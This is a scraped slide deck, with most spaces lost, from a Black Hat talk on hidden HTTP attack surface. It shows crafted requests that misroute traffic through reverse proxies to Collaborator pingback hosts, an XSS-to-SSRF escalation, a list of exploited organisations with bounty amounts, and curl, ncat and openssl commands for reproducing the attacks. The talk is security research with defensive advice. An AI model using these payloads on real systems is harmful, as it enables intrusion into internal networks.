cracking the lens - black hat briefings€¢all tcp/80 traffic to blacklisted ips gets proxied •...

36
CRACKING THE LENS James Kettle EXPLOITING HTTP'S HIDDEN ATTACK-SURFACE

Upload: doanmien

Post on 01-May-2018

219 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

CRACKINGTHELENS

JamesKettle

EXPLOITINGHTTP'SHIDDENATTACK-SURFACE

Page 2: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

AnUnexpectedPingback– cloud.mail.ru/imgur.com

Pingbackfrombn-proxy1a.ealing.ukcore.bt.net

predator.alien.bt.co.uk

cloud.mail.ru:80(HTTP) cloud.mail.ru:443(HTTPS)258bytes|52millis

Page 3: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,
Page 4: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Outline

• SpeculativeAttackPipeline•MisroutingRequests

• TargetingAuxiliarySystems

• Demo

• Q&A

Page 5: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Speculative AttackPipeline

Page 6: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• DNSListener• BurpCollaboratorClient•PrivateCollaboratorserverrecommended

• Rollyourown• Canarytokens

Listening

Page 7: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

InvitingResponses

• Burpmatch/replace• Nocorrelation

• CollaboratorEverywhere• Masscan• NoHTTP/1.1orSSL/TLS

• ZMap/ZGrab

Page 8: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

LazilyAssemblinganAudience

HackerOne BugCrowd

ScopeRegex 3millhosts

DNSDatabase

ProjectSonar

50kwebservers

ipaddress,hostname

Suitabletargetspreadsheet

Profit

Page 9: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

MaximizingAttackSurface

GET / HTTP/1.1Host: {host1, host2, host3}X-Forwarded-Proto: {HTTPS, HTTP}Cache-Control: no-transformMax-Forwards: {1, 2, 3}

Page 10: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

MisroutingRequests

REVERSEPROXY

PUBLICAPP

INTERNALAPP

Page 11: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

MisroutingRequests

GET / HTTP/1.1Host: id.burpcollaborator.net

Exploited:• 27DoDservers• ats-vm.lorax.bf1.yahoo.com•MyISP• ColombianISPdoingDNSpoisoning

Page 12: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

ats-vm.lorax.bf1.yahoo.com1/3

Page 13: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

ats-vm.lorax.bf1.yahoo.com2/3

Page 14: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

ats-vm.lorax.bf1.yahoo.com3/3

+15,000+5,000$20,000

Page 15: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• AllTCP/80traffictoblacklistedIPsgetsproxied• MasksallincomingBTtraffic

• /0traceroute(ttl=10)• Caches,self-hostedsites,speedtests,andblacklistedIPs

InvestigatingIntent- BT

GET/HTTP/1.1Host:www.icefilms.info

HTTP/1.1200OK…<p>Accesstothewebsiteslistedonthispagehasbeenblockedpursuanttoordersofthehighcourt.</p>

GEThttp://104.31.17.3/HTTP/1.1Host:www.icefilms.info

HTTP/1.1200OK…<title>IceFilms.info - QualityDivXMovies</title>

Page 16: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• vk.com pingbackfrom200.89.96.13

• DNSpoisoningimagehosts,socialnetworks

• andbbc.co.uk• Whicharticles?• Perspectives/Convergence• BackslashPoweredDiffing,ETag

InvestigatingIntent- METROTEL

"healthyinternet"

Page 17: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

InputMangling

GET / HTTP/1.1Host: vcap.me

GET /vcap.me/vcap.meHost: outage.vcap.meVia: o2-b.ycpi.tp2.yahoo.net

GET / HTTP/1.1Host: ../?x=.vcap.me

GET /vcap.me/../?x=.vcap.meHost: outage.vcap.meVia: o2-b.ycpi.tp2.yahoo.net

+5,000$25,000

Page 18: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

AbsoluteURLs

GET http://blah/ HTTP/1.1Host: one.mil

Ifyou'relookingatthisandarenotinthemilitaryorDoDthiswon'tmeananythingtoyou,norwillyoubeabletoaccessit….

Page 19: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Incapsula:hostname:ignoredPort

Backend:http://user:pass@hostname/

AmbiguousExploits- Incapsula

GET / HTTP/1.1Host: incap-client:[email protected]

Page 20: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

ApacheHttpComponents

Url backendURL = "http://backend-server/";String uri = ctx.getRequest().getRawUri();

URI proxyUri = new URIBuilder(uri).setHost(backendURL.getHost()).setPort(backendURL.getPort()) .build();

GET @burpcollab.net/ HTTP/1.1

http://[email protected]/

Page 21: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

GET @burpcollaborator.net/ HTTP/1.1

Service-Gateway-Is-Newrelic-Admin:false

+8,000$33,000

Page 22: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

GlobaLeaks

GET xyz.burpcollaborator.net:80/ HTTP/1.1Host: demo.globaleaks.org

SSRFthroughTor

xYZ.BurpcoLLABoRaTOR.neT. from 89.234.157.254Xyz.burPColLABorAToR.nET. from 62.210.18.16xYz.burpColLaBorATOR.net. from 91.224.149.254

Page 23: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

ExploitingAuxiliarySystems

PUBLICAPP BACKEND

ATTACKERAPP

Page 24: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

"TheX-Wap-ProfileheadershouldcontainaURLpointingtoanXMLdocumentspecifyingthefeaturesofamobiledevice"

Page 25: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Decloaking BackendSystems

GET /?a=f.collab.net&a=f.collab.net HTTP/1.1Host: www.facebook.comX-WAP-Profile: http://a.collab.net/wap.xmlReferer: http://b.collab.net/refX-Forwarded-For: c.collab.netTrue-Client-IP: d.collab.netX-Real-IP: e.collab.netConnection: close

Page 26: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• URL&Redirecthandling• Auto-authentication- Responder.py• ClientHeartbleed– pacemaker.py

• TCP/IPfingerprinting– p0f• SSLciphers,certvalidation

ExploitingRemoteClients

Page 27: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• Pingbackinception• SprayRCEacrossLAN

• Whatifthey'rerendering?• SprayXSSacrossLAN- BlindReflectedServer-SideXSS(BRSSXSS)• XSS/proc/self/environ

• DotheysupportJavaScript?OrCSS?DotheyenforcetheSOP?CanImakepopups?WhataboutFlash?

ExploitingRemoteClients

Page 28: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

RenderingEngineHackability Probe

JavaScriptenvironmentdifference:core,__core-js_shared__,System…

Page 29: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• Load<historyofblimps>

• NoteGET/blimps/F-1.pngHTTP/1.1

• Scanningresponseforresourceimports

Pre-emptiveCaching

GET / HTTP/1.1Host: burpcollaborator.net

GET /jquery.js HTTP/1.1GET /wildcat.jpg HTTP/1.1

https://www.history.navy.mil/our-collections/photography/numerical-list-of-images/nhhc-series/nh-series/NH-43000/NH-43487.html

Page 30: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

EscalatingXSStoSSRF

REVERSEPROXY

PUBLICAPP

INTERNALAPP

Page 31: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

EscalatingXSStoSSRF

ATTACKER PROXY PUBLICAPP INTERNALPOST /XSS.cgi

<img src="http://internal/index.php/a.jpg">

GET /index.php/a.jpg

Sensitive content

GET /index.php/a.jpgHost: internal

Sensitive content

Page 32: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

DEMO

Page 33: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• Reverseproxiesaregoingtoproxy• UseaDMZ

• Crawlersareemployeeswithantiquatedbrowsers

• whoclickeverything

• Welcomeresearchers• Haveabugbounty• Don'tforbidautomatedtesting(withcustomtools)

Defense

Page 34: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Replicating

curl -H 'Host: internal' http://example.com/

echo -e 'GET / HTTP/1.1\r\nHost: example.com\r\n' | ncat example.com 80| openssl s_client -ign_eof -connect 7.7.7.7:443

openssl s_client -servername qq.com -ign_eof -connect 7.7.7.7:443

https://github.com/PortSwigger/collaborator-everywherehttps://github.com/PortSwigger/hackability

Page 35: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

• ZGrab+Burp Collaboratorintegration

• X-WAP-Profile'sfriends

• Clientexploits

• Toolsforautomatedexploitation(especiallyblindSSRF)

• Untappedattacksurface• Theotherlayer

FurtherResearch

Page 36: CRACKING THE LENS - Black Hat Briefings€¢All TCP/80 traffic to blacklisted IPs gets proxied • Masks all incoming BT traffic •/0 traceroute (ttl=10) • Caches, self-hosted sites,

Bugbountiesenablewhitehat researchatscale

LoadbalancersareVPNsforthepublic

Crawlersareemployeeswhoclick

Takeaways

@albinowaxEmail:[email protected]